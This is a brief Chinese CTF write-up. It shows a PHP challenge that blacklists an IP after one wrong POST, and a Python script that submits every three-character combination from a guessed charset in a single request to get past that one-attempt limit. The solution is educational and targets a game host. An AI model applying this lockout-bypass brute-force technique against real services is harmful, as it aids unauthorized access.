打开题目网址,代码就被高亮出来
<?php
header("content-type:text/html;charset=utf-8");
show_source(__FILE__);
echo '<pre>';
include('u/ip.php');
include('flag.php');
if (in_array($_SERVER['REMOTE_ADDR'],$ip)){
die("您的ip已进入系统黑名单");
}
echo "hello";
var_dump($ip);
if ($_POST[substr($flag,5,3)]=='attack'){
echo $flag;
}else if (count($_POST)>0){
$ip = '$ip[]="'.$_SERVER['REMOTE_ADDR'].'";'.PHP_EOL;
file_put_contents('u/ip.php',$ip,FILE_APPEND);
}
echo '</pre>';
?>
代码表明你只有一次的攻击机会
没办法,只能穷举$flag中从第六的位置开始的长度为3的字符串,然后将所有穷举出来的结果post方式,一次性提交,这种方法的前提是要猜$flag中有哪些字符。一旦少了某个字符,就凉凉了。。
写个python脚本
import requests
flagChar="0123456789abcdefgh"
url="http://a19387d3be524b46a3c917d3d91cdde1fe047abb5cf449da.game.ichunqiu.com/"
dictData={}
for a in flagChar:
for b in flagChar:
for c in flagChar:
dictData[a+b+c]="attack"
print(dictData)
res=requests.post(url,data=dictData)
print(res.text)
不过这道题不知道现在什么情况,返回500状态码